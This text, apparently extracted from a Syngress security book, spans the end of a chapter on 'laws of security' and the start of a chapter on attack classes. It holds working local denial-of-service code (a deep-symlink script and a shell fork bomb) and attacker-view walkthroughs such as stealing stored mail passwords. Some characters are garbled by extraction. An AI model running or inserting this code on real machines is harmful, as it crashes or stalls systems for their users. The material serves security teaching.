successful.This could be especially damaging if it were a custom program, so that the anti-virus programs would have no chance to catch it. For information about what can be done with a virus or Trojan, see Chapter 15. Attacking Exposed Servers Another way to get past firewalls is to attack exposed servers. Many firewalls include a demilitarized zone (DMZ) where various Web servers, mail servers and so on are placed.There is some debate as to whether a classic DMZ is a network completely outside the firewall (and therefore not protected by the firewall) or www.syngress.com The Laws of Security • Chapter 2 25 whether it’s some in-between network. Currently in most cases,Web servers and the like are on a third interface of the firewall that protects them from the outside, allowing the inside not to trust them either and not to let them in. The problem for firewall admins is that firewalls aren’t all that intelligent. They can do filtering, they can require authentication, and they can do logging, but they can’t really tell a good allowed request from a bad allowed request. For example, I know of no firewall that can tell a legitimate request for a Web page from an attack on a Common Gateway Interface (CGI) script. Sure, some firewalls can be programmed to look for certain CGI scripts being attempted (phf, for example), but if you’ve got a CGI script you want people to use, the firewall isn’t going to able to tell those people apart from the attacker who has found a hole in it. Much of the same goes for Simple Mail Transfer Protocol (SMTP), File Transfer Protocol (FTP), and many other commonly offered services.They are all attackable. (For information on how to attack services across a network, and for further examples on how to attack things like CGI scripts, see Chapter 7.) For the sake of discussion, let’s say that you’ve found a way into a server on the DMZ.You’ve gained root or administrator access on that box.That doesn’t get you inside, does it? Not directly, no. Recall that our definition of DMZ included the concept that DMZ machines can’t get to the inside.Well, that’s usually not strictly true.Very few organizations are willing to administer their servers or add new content by going to the console of the machine. For an FTP server, for example, would they be willing to let the world access the FTP ports, but not themselves? For administration purposes, most traffic will be initiated from the inside to the DMZ. Most firewalls have the ability to act as diodes, allowing traffic to be initiated from one side but not from the other.That type of traffic would be difficult but not impossible to exploit.The main problem is that you have to wait for something to happen. If you catch an FTP transfer starting, or the admin opening an X window back inside, you may have an opportunity. More likely, you’ll want to look for allowed ports. Many sites include services that require DMZ machines to be able to initiate contact back to the inside machine.This includes mail (mail has to be delivered inside), database lookups (for e-commerce Web sites, for example), and possibly reporting mechanisms (perhaps syslog).Those are more helpful because you get to determine when the attempt is made. Let’s look at a few cases: Suppose you were able to successfully break into the DMZ mail server via some hole in the mail server daemon. Chances are good that you’ll be able to talk to an internal mail server from the DMZ mail server. Chances are also good that the inside mail server is running the same mail daemon you just broke into, www.syngress.com 26 Chapter 2 • The Laws of Security or even something less well protected (after all, it’s an inside machine that isn’t exposed to the Internet, right?) Attacking the Firewall Directly You may find in a few cases that the firewall itself can be compromised.This may be true for both homegrown firewalls (which require a certain amount of expertise on the part of the firewall admin) and commercial firewalls (which can sometimes give a false sense of security, as they need a certain amount of expertise too, but some people assume that’s not the case). In other cases, a consultant may have done a good job of setting up the firewall, but now no one is left who knows how to maintain it. New attacks get published all the time, and if people aren’t paying attention to the sources that publish this stuff, they won’t know to apply the patches. The method used to attack a firewall is highly dependent on the exact type of the firewall. Probably the best sources of information on firewall vulnerabilities are the various security mailing lists. A particularly malicious attacker would do as much research about a firewall to be attacked as possible, and then lie in wait for some vulnerability to be posted. NOTE This law is utilized in Chapters 7, 11, 12, 13, 15, and 17. Client-Side Holes One of the best ways to get past firewalls is client-side holes. Aside from Web browser vulnerabilities, other programs with likely holes include AOL Instant Messenger, MSN Chat, ICQ, IRC clients, and even Telnet and ftp clients. Exploiting these holes can require some research, patience, and a little luck.You’ll have to find a user in the organization you want to attack that appears to be running one of these programs, but many of the chat programs include a mechanism for finding people, and it’s not uncommon for people to post their ICQ number on their homepage.You could do a search for victim.com and ICQ.Then you could wait until business hours when you presume the person will be at work, and execute your exploit using the ICQ number. If it’s a serious hole, then you now probably have code running behind the firewall that can do as you like. www.syngress.com The Laws of Security • Chapter 2 27 Any IDS Can Be Evaded And you ask,“What the heck is an IDS?” IDS stands for intrusion detection system. At the time of this writing, there are hundreds of vendors providing combined hardware and software products for intrusion detection, either in combination with firewall and virus protection products or as freestanding systems. IDSs have a job that is slightly different from that of firewalls. Firewalls are designed to stop bad traffic. IDSs are designed to spot bad traffic, but not necessarily to stop it (though a number of IDSs will cooperate with a firewall to stop the traffic, too). These IDSs can spot suspicious traffic through a number of mechanisms. One is to match it against known bad patterns,much like the signature database of an antivirus program. Another is to check for compliance against written standards and flag deviations. Still another is to profile normal traffic and flag traffic that varies from the statistical norm. Because they are constantly monitoring the network, IDSs help to detect attacks and abnormal conditions both internally and externally in the network, and provide another level of security from inside attack. As with firewalls and client-side security methods, IDSs can be evaded and worked around. One of the reasons that this is true is because we still have users working hands-on on machines within our network, and as we saw with clientside security, this makes the system vulnerable. Another cause in the case of firewalls and IDS systems is that although they are relatively tight when first installed, the maintenance and care of the systems deteriorates with time, and vigilance declines.This leads to many misconfigured and improperly maintained systems, which allows the evasion to occur. The problem with IDSs for attackers is that they don’t know when one is present. Unlike firewalls, which are fairly obvious when you hit them, IDSs can be completely passive and therefore not directly detectable.They can spot suspicious activity and alert the security admin for the site being attacked, unbeknownst to the attacker.This may result in greater risk of prosecution for the attacker. Consider getting an IDS. Free ones are starting to become available and viable, allowing you to experiment with the various methods of detection that are offered by the IDS developers. Make sure you audit your logs, because no system will ever achieve the same level of insight as a well-informed person. Make absolutely sure that you keep up-to-date on new patches and vulnerabilities. Subscribe to the various mailing lists and read them. From the attack standpoint, remember that the attacker can get the same information that you have. This allows the attacker to find out what the various IDS systems detect and, www.syngress.com 28 Chapter 2 • The Laws of Security more importantly, how the detection occurs.Variations of the attack code can then be created that are not detectable by the original IDS flags or settings. In recent months, IDSs have been key in collecting information about new attacks.This is problematic for attackers, because the more quickly their attack is known and published, the less well it will work as it’s patched away. In effect, any new research that an attacker has done will be valuable for a shorter period of time. I believe that in a few years, an IDS system will be standard equipment for every organization’s Internet connections, much as firewalls are now. NOTE This law is utilized in Chapter 16. Secret Cryptographic Algorithms Are Not Secure This particular “law” is not, strictly speaking, a law. It’s theoretically possible that a privately, secretly developed cryptographic algorithm could be secure. It turns out, however, that it just doesn’t happen that way. It takes lots of public review and lots of really good cryptographers trying to break an algorithm (and failing) before it can begin to be considered secure. Bruce Schneier has often stated that anyone can produce a cryptographic algorithm without being able to break it. Programmers and writers know this as well. Programmers cannot effectively beta-test their own software, just as writers cannot effectively proofread their own writing. Put another way, to produce a secure algorithm, a cryptographer must know all possible attacks and be able to recognize when they apply to his or her algorithm.This includes currently known attacks as well as those that may be made public in the future. Clearly no cryptographer can predict the future, but some of them have the ability to produce algorithms that are resistant to new things because they are able to anticipate or guess some possible future attacks. This has been demonstrated many times in the past. A cryptographer, or someone who thinks he or she is one, produces a new algorithm. It looks fine to this person, who can’t see any problem.The “cryptographer” may do one of several things: use it privately, publish the details, or produce a commercial product. www.syngress.com The Laws of Security • Chapter 2 29 With very few exceptions, if it’s published, it gets broken, and often quickly.What about the other two scenarios? If the algorithm isn’t secure when it’s published, it isn’t secure at any time.What does that do to the author’s private security or to the security of his customers? Why do almost all new algorithms fail? One answer is that good crypto is hard. Another is the lack of adequate review. For all the decent cryptographers who can break someone else’s algorithm, there are many more people who would like to try writing one. Crypto authors need lots of practice to learn to write good crypto.This means they need to have their new algorithms broken over and over again, so they can learn from the mistakes. If they can’t find people to break their crypto, the process gets harder. Even worse, some authors may take the fact that no one broke their algorithm (probably due to lack of time or interest) to mean that it must be secure! For an example of this future thinking, let’s look at DES. In 1990, Eli Biham and Adi Shamir, two world-famous cryptographers, “discovered” what they called differential cryptanalysis.This was some time after DES had been produced and made standard. Naturally, they tried their new technique on DES.They were able to make an improvement over a simple brute-force attack, but there was no devastating reduction in the amount of time it took to crack DES. It turns out that the structure of the s-boxes in DES was nearly ideal for defending against differential cryptanalysis. It seems that someone who worked on the DES design knew of, or had suspicions about, differential cryptanalysis. Very few cryptographers are able to produce algorithms of this quality.They are also the ones who usually are able to break the good algorithms. I’ve heard that a few cryptographers advocate breaking other people’s algorithms as a way to learn how to write good ones.These world-class cryptographers produce algorithms that get broken, so they put their work out into the cryptographic world for peer review. Even then, it often takes time for the algorithms to get the proper review. Some new algorithms use innovative methods to perform their work.Those types may require innovative attack techniques, which may take time to develop. In addition, most of these cryptographers are in high demand and are quite busy, so they don’t have time to review every algorithm that gets published. In some cases, an algorithm would have to appear to be becoming popular in order to justify the time spent looking at it. All of these steps take time—sometimes years.Therefore, even the best cryptographers will sometimes recommend that you not trust their own new algorithms until they’ve been around for a long time. Even the world’s best cryptographers produce breakable crypto from time to time. www.syngress.com 30 Chapter 2 • The Laws of Security The U.S. government has now decided to replace DES with a new standard cryptographic algorithm.This new one is to be called Advanced Encryption Standard (AES), and the NIST (National Institute of Standards and Technology) has selected Rijndael as the proposed AES algorithm. Most of the world’s top cryptographers submitted work for consideration during a several-day conference. A few of the algorithms were broken during the conference by the other cryptographers. We can’t teach you how to break real crypto. Chances are, no single book could.That’s okay, though.We’ve still got some crypto fun for you.There are lots of people out there who think they are good cryptographers and are willing to sell products based on that belief. In other cases, developers may realize that they can’t use any real cryptography because of the lack of a separate key, so they may opt for something simple to make it less obvious what they are doing. In those cases, the crypto will be much easier to break. (We’ll show you how to do that in Chapter 6.) Again, the point of this law is not to perform an action based on it, but rather to develop suspicion.You should use this law to evaluate the quality of a product that contains crypto.The obvious solution here is to use well-established crypto algorithms.This includes checking as much as possible that the algorithms are used intelligently. For example, what good does 3DES do you if you’re using only a seven-character password? Most passwords that people choose are only worth a few bits of randomness per letter. Seven characters, then, is much less than 56 bits. NOTE This law is utilized in Chapter 6. If a Key Is Not Required, You Do Not Have Encryption—You Have Encoding This one is universal—no exceptions. Just be certain that you know whether or not there is a key and how well it’s managed. As Scott Culp mentions in his law #7,“Encrypted data is only as secure as the decryption key.” The key in encryption is used to provide variance when everyone is using the same small set of algorithms. Creating good crypto algorithms is hard, which www.syngress.com The Laws of Security • Chapter 2 31 is why only a handful of them are used for many different things. New crypto algorithms aren’t often needed, as the ones we have now can be used in a number of different ways (message signing, block encrypting, and so on). If the best-known (and foreseeable) attack on an algorithm is brute force, and brute force will take sufficiently long, there is not much reason to change. New algorithms should be suspect, as we mentioned previously. In the early history of cryptography, most schemes depended on the communicating parties using the same system to scramble their messages to each other. There was usually no key or pass-phrase of any sort.The two parties would agree on a scheme, such as moving each letter up the alphabet by three letters, and they would send their messages. Later, more complicated systems were put into use that depended on a word or phrase to set the mechanism to begin with, and then the message would be run through.This allowed for the system to be known about and used by multiple parties, and they could still have some degree of security if they all used different phrases. These two types highlight the conceptual difference between what encoding and encrypting are. Encoding uses no key, and if the parties involved want their encoded communications to be secret, then their encoding scheme must be secret. Encrypting uses a key (or keys) of some sort that both parties must know. The algorithm can be known, but if an attacker doesn’t have the keys, that shouldn’t help. Of course, the problem is that encoding schemes can rarely be kept secret. Everyone will get a copy of the algorithm. If there were no key, everyone who had a copy of the program would be able to decrypt anything encrypted with it. That wouldn’t bode well for mass-market crypto products. A key enables the known good algorithms to be used in many places. So what do you do when you’re faced with a product that says it uses Triple-DES encryption with no remembering of passwords required? Run away! DES and variants (like 3DES) depend on the secrecy of the key for their strength. If the key is known, the secrets can obviously be decrypted.Where is the product getting a key to work with if not from you? Off the hard drive, somewhere. Is this better than if it just used a bad algorithm? This is probably slightly better if the files are to leave the machine, perhaps across a network. If they are intercepted there, they may still be safe. However, if the threat model includes people who have access to the machine itself it’s pretty useless, since they can get the key as well. Cryptographers have become very good at determining what encoding scheme is being used and then decoding the messages. If you’re talking www.syngress.com 32 Chapter 2 • The Laws of Security about an encoding scheme that is embedded in some sort of mass-market product, forget the possibility of keeping it secret. Attackers will have all the opportunity they need to determine what the encoding scheme is. If you run across a product that doesn’t appear to require the exchange of keys of some sort and claims to have encrypted communications, think very hard about what you have. Ask the vendor a lot of questions of about exactly how it works. Think back to our earlier discussion about exchanging keys securely. If your vendor glosses over the key exchange portion of a product, and can’t explain in painstaking detail how exactly the key exchange problem was solved, then you probably have an insecure product. In most cases, you should expect to have to program keys manually on the various communication endpoints. NOTE This law is utilized in Chapters 6 and 10. Passwords Cannot Be Securely Stored on the Client Unless There Is Another Password to Protect Them This statement about passwords specifically refers to programs that store some form of the password on the client machine in a client-server relationship. Remember that the client is always under the complete control of the person sitting in front of it.Therefore, there is generally no such thing as secure storage on client machines. What usually differentiates a server is that the user/attacker is forced to interact with it across a network, via what should be a limited interface.The one possible exception to all client storage being attackable is if encryption is used.This law is really a specific case of the previous one:“If a key isn’t required, then you don’t have encryption—you have encoding.” Clearly, this applies to passwords just as it would to any other sort of information. It’s mentioned as a separate case because passwords are often of particular interest in security applications. Every time an application asks you for a password, you should think to yourself,“How is it stored?” Some programs don’t store the password after it’s been used because they don’t need it any longer—at least not until next time. For example, many Telnet and ftp clients don’t remember passwords at all; they just pass them straight to the www.syngress.com The Laws of Security • Chapter 2 33 server. Other programs will offer to “remember” passwords for you.They may give you an icon to click on and not have to type the password. How securely do these programs store your password? It turns out that in most cases, they can’t store your password securely.As covered in the previous law, since they have no key to encrypt with, all they can do is encode. It may be a very complicated encoding, but it’s encoding nonetheless, because the program has to be able to decode the password to use it. If the program can do it, so can someone else. This one is also universal, though there can be apparent exceptions. For example,Windows will offer to save dial-up passwords.You click the icon and it logs into your ISP for you.Therefore, the password is encoded on the hard drive somewhere and it’s fully decodable, right? Not necessarily.Microsoft has designed the storage of this password around the Windows login. If you have such a saved password, try clicking Cancel instead of typing your login password the next time you boot Windows.You’ll find that your saved dial-up password isn’t available, because Windows uses the login password to unlock the dial-up password. All of this is stored in a .pwl file in your Windows directory. Occasionally, for a variety of reasons, a software application will want to store some amount of information on a client machine. For Web browsers, this includes cookies and, sometimes, passwords. (The latest versions of Internet Explorer will offer to remember your names and passwords.). For programs intended to access servers with an authentication component, such as Telnet clients and mail readers, this is often a password.What’s the purpose of storing your password? So that you don’t have to type it every time. Obviously, this feature isn’t really a good idea. If you’ve got an icon on your machine that you can simply click to access a server, and it automatically supplies your username and password, then anyone who walks up can do the same. Can they do anything worse than this? As we’ll see, the answer is yes. Let’s take the example of an e-mail client that is helpfully remembering your password for you.You make the mistake of leaving me alone in your office for a moment, with your computer.What can I do? Clearly, I can read your mail easily, but I’ll want to arrange it so I can have permanent access to it, not just the one chance. Since most mail passwords pass in the clear (and let’s assume that in this case that’s true), if I had a packet capture program I could load onto your computer quickly, or if I had my laptop ready to go, I could grab your password off the wire.This is a bit more practical than the typical monitoring attack, since I now have a way to make your computer send your password at will. However, I may not have time for such elaborate preparations. I may only have time to slip a diskette out of my shirt and copy a file. Perhaps I might send www.syngress.com 34 Chapter 2 • The Laws of Security the file across your network link instead, if I’m confident I won’t show up in a log somewhere and be noticed. Of course, I’d have to have an idea what file(s) I was after.This would require some preparation or research. I’d have to know what mail program you typically use. But if I’m in your office, chances are good that I would have had an opportunity to exchange mail with you at some point, and every e-mail you send to me tells me in the message headers what e-mail program you use. What’s in this file I steal? Your stored password, of course. Some programs will simply store the password in the clear, enabling me to read it directly.That sounds bad, but as we’ll see, programs that do that are simply being honest. In this instance, you should try to turn off any features that allow for local password storage if possible. Try to encourage vendors not to put in these sorts of “features.” Let’s assume for a moment that’s not the case. I look at the file and I don’t see anything that looks like a password.What do I do? I get a copy of the same program, use your file, and click Connect. Bingo, I’ve got (your) mail. If I’m still curious, in addition to being able to get your mail I can now set up the packet capture and find your password at my leisure. It gets worse yet. For expediency’s sake, maybe there’s a reason I don’t want to (or can’t) just hit Connect and watch the password fly by. Perhaps I can’t reach your mail server at the moment, because it’s on a private network. And perhaps you were using a protocol that doesn’t send the password in the clear after all. Can I still do anything with your file I’ve stolen? Of course. Consider this: without any assistance, your mail program knows how to decode the password and send it (or some form of it). How does it do that? Obviously it knows something you don’t, at least not yet. It either knows the algorithm to reverse the encoding, which is the same for every copy of that program, or it knows the secret key to decrypt the password, which must be stored on your computer. In either case, if I’ve been careful about stealing the right files, I’ve got what I need to figure out your password without ever trying to use it. If it’s a simple decode, I can figure out the algorithm by doing some experimentation and trying to guess the algorithm, or I can disassemble the portion of the program that does that and figure it out that way. It may take some time, but if I’m persistent, I have everything I need to do so.Then I can share it with the world so everyone else can do it easily. If the program uses real encryption, it’s still not safe if I’ve stolen the right file(s). Somewhere that program must have also stored the decryption key; if it www.syngress.com The Laws of Security • Chapter 2 35 didn’t it couldn’t decode your password, and clearly it can. I just have to make sure I steal the decryption key as well. Couldn’t the program require the legitimate user to remember the decryption key? Sure, but then why store the client password in the first place? The point was to keep the user from having to type in a password all the time. NOTE This law is utilized in Chapter 6. In Order for a System to Begin to Be Considered Secure, It Must Undergo an Independent Security Audit Writers know that they can’t proofread their own work. Programmers ought to know that they can’t bug-test their own programs. Most software companies www.syngress.com Vigilance is Required Always! Much discussion has been raised recently about the number of attacks that occur and the rapid deployment and proliferation of malicious codes and attacks. Fortunately, most of the attacks are developed to attack vulnerabilities in operating system and application code that have been known for some time. As we saw this year, many of the Code Red attacks and the variants that developed from them were attacking longknown vulnerabilities in the targeted products. The sad thing (and this should be embarrassing both professionally and personally) was the obvious number of network administrators and technicians who had failed to follow the availability of fixes for these systems and keep them patched and up-to-date. No amount of teaching, and no amount of technical reference materials (such as this book) can protect your systems if you don’t stay vigilant and on top of the repairs and fixes that are available. Notes from the Underground… 36 Chapter 2 • The Laws of Security realize this, and they employ software testers.These software testers look for bugs in the programs that keep them from performing their stated functions.This is called functional testing. Functional testing is vastly different from security testing, although on the surface, they sound similar.They’re both looking for bugs, right? Yes and no. Security testing (which ought to be a large superset of functionality testing) requires much more in-depth analysis of a program, usually including an examination of the source code. Functionality testing is done to ensure that a large percentage of the users will be able to use the product without complaining. Defending against the average user accidentally stumbling across a problem is much easier than trying to keep a knowledgeable hacker from breaking a program any way he can. Even without fully discussing what a security audit is, it should be becoming obvious why it’s needed. How many commercial products undergo a security review? Almost none. Usually the only ones that have even a cursory security review are security products. Even then, it often becomes apparent later on that they didn’t get a proper review. Notice that this law contains the word “begin.” A security audit is only one step in the process of producing secure systems.You only have to read the archives of any vulnerability reporting list to realize that software packages are full of holes. Not only that, but we see the same mistakes made over and over again by various software vendors. Clearly, those represent a category in which not even the most minimal amount of auditing was done. Probably one of the most interesting examples of how auditing has produced a more secure software package is OpenBSD.Originally a branch-off from the NetBSD project, OpenBSD decided to emphasize security as its focus.The OpenBSD team spent a couple of years auditing the source code for bugs and fixing them.They fixed any bugs they found, whether they appeared to be security related or not.When they found a common bug, they would go back and search all the source code to see whether that type of error had been made anywhere else. The end result is that OpenBSD is widely considered one of the most secure operating systems there is. Frequently, when a new bug is found in NetBSD or FreeBSD (another BSD variant), OpenBSD is found to be not vulnerable. Sometimes the reason it’s not vulnerable is that the problem was fixed (by accident) during the normal process of killing all bugs. In other cases, it was recognized that there was a hole, and it was fixed. In those cases, NetBSD and FreeBSD (if they www.syngress.com The Laws of Security • Chapter 2 37 have the same piece of code) were vulnerable because someone didn’t check the OpenBSD database for new fixes (all the OpenBSD fixes are made public). NOTE This law is utilized in Chapters 4, 5, 8, and 9. Security through Obscurity Does Not Work Basically,“security through obscurity” (known as STO) is the idea that something is secure simply because it isn’t obvious, advertised, or interesting. A good example is a new Web server. Suppose you’re in the process of making a new Web server available to the Internet.You may think that because you haven’t registered a Domain Name System (DNS) name yet, and because no links exist to the Web server, you can put off securing the machine until you’re ready to go live. The problem is, port scans have become a permanent fixture on the Internet. Depending on your luck, it will probably be only a matter of days or even hours before your Web server is discovered.Why are these port scans permitted to occur? They aren’t illegal in most places, and most ISPs won’t do anything when you report that you’re being portscanned. What can happen if you get portscanned? The vast majority of systems and software packages are insecure out of the box. In other words, if you attach a system to the Internet, you can be broken into relatively easily unless you actively take steps to make it more secure.Most attackers who are port scanning are looking for particular vulnerabilities. If you happen to have the particular vulnerability they are looking for, they have an exploit program that will compromise your Web server in seconds. If you’re lucky, you’ll notice it. If not, you could continue to “secure” the host, only to find out later that the attacker left a backdoor that you couldn’t block, because you’d already been compromised. Worse still, in the last year a number of worms have become permanent fixtures on the Internet.These worms are constantly scanning for new victims, such as a fresh, unsecured Web server. Even when the worms are in their quietest period, any host on the Internet will get a couple of probes per day.When the worms are busiest, every host on the Internet gets probes every few minutes, www.syngress.com 38 Chapter 2 • The Laws of Security which is about how long an unpatched Web server has to live. Never assume it’s safe to leave a hole or to get sloppy simply because you think no one will find it. The minute a new hole is discovered that reveals program code, for example, you’re exposed. An attacker doesn’t have to do a lot of research ahead of time and wait patiently.Often the holes in programs are publicized very quickly, and lead to the vulnerability being attacked on vulnerable systems. Let me clarify a few points about STO: Keeping things obscure isn’t necessarily bad.You don’t want to give away any more information than you need to. You can take advantage of obscurity; just don’t rely on it. Also, carefully consider whether you might have a better server in the long run by making source code available so that people can review it and make their own patches as needed. Be prepared, though, to have a round or two of holes before it becomes secure. How obscure is obscure enough? One problem with the concept of STO is that there is no agreement about what constitutes obscurity and what can be treated like a bona fide secret. For example, whether your password is a secret or is simply “obscured” probably depends on how you handle it. If you’ve got it written down on a piece of paper under your keyboard and you’re hoping no one will find it, I’d call that STO. (By the way, that’s the first place I’d look. At one company where I worked, we used steel cables with padlocks to lock computers down to the desks. I’d often be called upon to move a computer, and the user would have neglected to provide the key as requested. I’d check for the key in this order: pencil holder, under the keyboard, top drawer. I had about a 50 percent success rate for finding the key.) It comes down to a judgment call. My personal philosophy is that all security is STO. It doesn’t matter whether you’re talking about a house key under the mat or a 128-bit crypto key.The question is, does the attacker know what he needs, or can he discover it? One of the reasons you should be reading this book is to learn exactly what can be discovered. Many systems and sites have long survived in obscurity, reinforcing their belief that there is no reason to target them.We’ll have to see whether it’s simply a matter of time before they are compromised. NOTE This law is utilized in Chapters 4 and 5. www.syngress.com The Laws of Security • Chapter 2 39 Summary In this chapter, we have tried to provide you with an initial look at the basic laws of security that we work with on a regular basis.As we progress through the book, we’ll expand on the discussion of the laws that we have begun here.We’ve looked at a number of different topic areas to introduce our concepts and our list of the laws of security.These have included initial glances at some concepts that may be new to you, and that should inspire a fresh look at some of the areas of vulnerability as we begin to protect our networks.We’ve looked at physical control issues, encryption and the exchange of encryption keys.We’ve also begun to look at firewalls, virus detection programs, and intrusion detection systems (IDSs), as well as modification of code to bypass firewalls, viruses, and IDSs, cryptography, auditing, and security through obscurity. As you have seen, not all of the laws are absolutes, but rather an area of work that we use to try to define the needs for security, the vulnerabilities, and security problems that should be observed and repaired as we can. All of these areas are in need of constant evaluation and work as we continue to try to secure our systems against attack. Solutions Fast Track Knowing the Laws of Security Review the laws. Use the laws to make your system more secure. Client-Side Security Doesn’t Work Client-side security is security enforced solely on the client. The user always has the opportunity to break the security, because he or she is in control of the machine. Client-side security will not provide security if time and resources are available to the attacker. www.syngress.com 40 Chapter 2 • The Laws of Security You Cannot Securely Exchange Encryption Keys without a Shared Piece of Information Shared information is used to validate machines prior to session creation. You can exchange shared private keys or use Secure Sockets Layer (SSL) through your browser. Key exchanges are vulnerable to man-in-the-middle (MITM) attacks. Malicious Code Cannot Be 100 Percent Protected against Software products are not perfect. Virus and Trojan detection software relies on signature files. Minor changes in the code signature can produce a non-detectable variation (until the next signature file is released). Any Malicious Code Can Be Completely Morphed to Bypass Signature Detection Attackers can change the identity or signature of a file quickly. Attackers can use compression, encryption, and passwords to change the look of code. You can’t protect against every possible modification. Firewalls Cannot Protect You 100 Percent from Attack Firewalls can be software or hardware, or both. The primary function of a firewall is to filter incoming and outgoing packets. Successful attacks are possible as a result of improper rules, policies, and maintenance problems. www.syngress.com The Laws of Security • Chapter 2 41 Any IDS Can Be Evaded Intrusion detection systems (IDSs) are often passive designs. It is difficult for an attacker to detect the presence of IDS systems when probing. An IDS is subject to improper configuration and lack of maintenance. These conditions may provide opportunity for attack. Secret Cryptographic Algorithms Are Not Secure Crypto is hard. Most crypto doesn’t get reviewed and tested enough prior to launch. Common algorithms are in use in multiple areas.They are difficult, but not impossible, to attack. If a Key Is Not Required,You Do Not Have Encryption—You Have Encoding This law is universal; there are no exceptions. Encryption is used to protect the encoding. If no key is present, you can’t encrypt. Keys must be kept secret, or no security is present. Passwords Cannot Be Securely Stored on the Client Unless There Is Another Password to Protect Them It is easy to detect password information stored on client machines. If a password is unencrypted or unwrapped when it is stored, it is not secure. Password security on client machines requires a second mechanism to provide security. www.syngress.com 42 Chapter 2 • The Laws of Security In Order for a System to Begin to Be Considered Secure, It Must Undergo an Independent Security Audit Auditing is the start of a good security systems analysis. Security systems are often not reviewed properly or completely, leading to holes. Outside checking is critical to defense; lack of it is an invitation to attack. Security through Obscurity Does Not Work Hiding it doesn’t secure it. Proactive protection is needed. The use of obscurity alone invites compromise. Q: How much effort should I spend trying to apply these laws to a particular system that I’m interested in reviewing? A: That depends on what your reason for review is. If you’re doing so for purposes of determining how secure a system is so that you can feel comfortable using it yourself, then you need to weigh your time against your threat model. If you’re expecting to use the package, it’s directly reachable by the Internet at large, and it’s widely available, you should probably spend a lot of time checking it. If it will be used in some sort of back-end system, if it’s custom designed, or if the system it’s on is protected in some other way, you may want to spend more time elsewhere. www.syngress.com Frequently Asked Questions The following Frequently Asked Questions, answered by the authors of this book, are designed to both measure your understanding of the concepts presented in this chapter and to assist you with real-life implementation of these concepts. To have your questions about this chapter answered by the author, browse to www.syngress.com/solutions and click on the “Ask the Author” form. The Laws of Security • Chapter 2 43 Similarly, if you’re performing some sort of penetration test, you will have to weigh your chances of success using one particular avenue of attack versus another. It may be appropriate to visit each system that you can attack in turn, and return to those that look more promising. Most attackers would favor a system they could replicate in their own lab, returning to the actual target later with a working exploit. Q: How secure am I likely to be after reviewing a system myself? A: This depends partially on how much effort you expend. In addition, you have to assume that you didn’t find all the holes. However, if you spend a reasonable amount of time, you’ve probably spotted the low-hanging fruit—the easy holes.This puts you ahead of the game.The script kiddies will be looking for the easy holes. Even if you become the target of a talented attacker, the attacker may try the easy holes, so you should have some way of burglaralarming them. Since you’re likely to find something when you look, and you’ll probably publish your findings, everyone will know about the holes. Keep in mind that you’re protected against the ones you know about, but not against the ones you don’t know about. One way to help guard against this is to alarm the known holes when you fix them.This can be more of a challenge with closed-source software. Q: When I find a hole, what should I do about it? A: This is covered in depth in Chapter 18.There are choices to make about whether to publish it at all, how much notice to give a vendor if applicable, and whether to release exploit code if applicable. Q: How do I go from being able to tell that a problem is there to being able to exploit it? A: Many of the chapters in this book cover specific types of holes. For holes that aren’t covered here, the level of difficulty will vary widely. Some holes, such as finding a hard-coded password in an application, are self-explanatory. Others may require extensive use of decompiling and cryptanalysis. Even if you’re very good, there will always be some technique that is out of your area of expertise.You’ll have to decide whether you want to develop that skill or get help. |
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![]() Chapter 3 ¡E Classes of Attack
Introduction How serious a particular attack type is depends on two things: how the attack is carried out, and what damage is done to the compromised system. An attacker being able to run code on his machine is probably the most serious kind of attack for a home user. For an e-commerce company, a denial of service (DoS) attack or information leakage may be of more immediate concern. Each vulnerability that can lead to compromise can be traced to a particular category, or class, of attack.The properties of each class give you a rough feel for how serious an attack in that class is, as well as how hard it is to defend against. In this chapter, we explain each of the attack classes in detail, including what kinds of damage they can cause the victim, as well as what the attacker can gain by using them. Identifying and Understanding the Classes of Attack As we mentioned, attacks can be placed into one of a few categories. Our assertion regarding the severity of attack is something we should look into for a little better understanding. Attacks can lead to anything from leaving your systems without the ability to function, to giving a remote attacker complete control of your systems to do whatever he pleases.We discuss severity of attacks later in this chapter, placing them on a line of severity. Let¡¦s first look at the different types of attacks and discuss them. In this section, we examine seven categorized attack types.These seven attack types are the general criteria used to classify security issues: Denial of service Information leakage Regular file access Misinformation Special file/database access Remote arbitrary code execution Elevation of privileges www.syngress.com www.syngress.com Denial of Service What is a denial of service (DoS) attack? A DoS attack takes place when availability to a resource is intentionally blocked or degraded by an attacker. In other words, the attack impedes the availability of the resource to its regular authorized users.These types of attacks can occur through one of two vectors: either on the local system, or remotely from across a network.The attack may concentrate on degrading processes, degrading storage capability, destroying files to render the resource unusable, or shutting down parts of the system or processes. Let¡¦s take a closer look at each of these items. Local Vector Denial of Service Local denial of service attacks are common, and in many cases, preventable. Although any type of denial of service can be frustrating and costly, local denial of service attacks are typically the most preferable to encounter. Given the right security infrastructure, these types of attacks are easily traced, and the attacker is easily identified. Three common types of local denial of service attacks are process degradation, disk space exhaustion, and index node (inode) exhaustion. Process Degradation One local denial of service is the degrading of processes.This occurs when the attacker reduces performance by overloading the target system, by either spawning multiple processes to eat up all available resources of the host system, by spawning enough processes to fill to capacity the system process table, or by spawning enough processes to overload the central processing unit (CPU). An example of this type of attack is exhibited through a recent vulnerability discovered in the Linux kernel. By creating a system of deep symbolic links, a user can prevent the scheduling of other processes when an attempt to dereference the symbolic link is made. Upon creating the symbolic links, then attempting to perform a head or cat of one of the deeply linked files, the process scheduler is blocked, therefore preventing any other processes on the system from receiving CPU time.The following is source code of mklink.sh; this shell script will create the necessary links on an affected system (this problem was not fully fixed until Linux kernel version 2.4.12): #!/bin/sh # by Nergal Classes of Attack ¡E Chapter 3 47 48 Chapter 3 ¡E Classes of Attack mklink() { IND=$1 NXT=$(($IND+1)) EL=l$NXT/../ P="" I=0 while [ $I -lt $ELNUM ] ; do P=$P"$EL" I=$(($I+1)) done ln -s "$P"l$2 l$IND } #main program if [ $# != 1 ] ; then echo A numerical argument is required. exit 0 fi ELNUM=$1 mklink 4 mklink 3 mklink 2 mklink 1 mklink 0 /../../../../../../../etc/services mkdir l5 mkdir l Another type of local denial of service attack is the fork bomb.This problem is not Linux-specific, and it affects a number of other operating systems on various platforms.The fork bomb is easy to implement using the shell or C.The code for shell is as follows: ($0 & $0 &) www.syngress.com Classes of Attack ¡E Chapter 3 49 The code for C is as follows: (main() {for(; ![]() In both of these scenarios, an attacker can degrade process performance with varying effects¡Xthese effects may be as minimal as making a system perform slowly, or they may be as extreme as monopolizing system resources and causing a system to crash. Disk Space Exhaustion Another type of local attack is one that fills disk space to capacity. Disk space is a finite resource. Previously, disk space was an extremely expensive resource, although the current industry has brought the price of disk storage down signifi- cantly.Though you can solve many of the storage complications with solutions such as disk 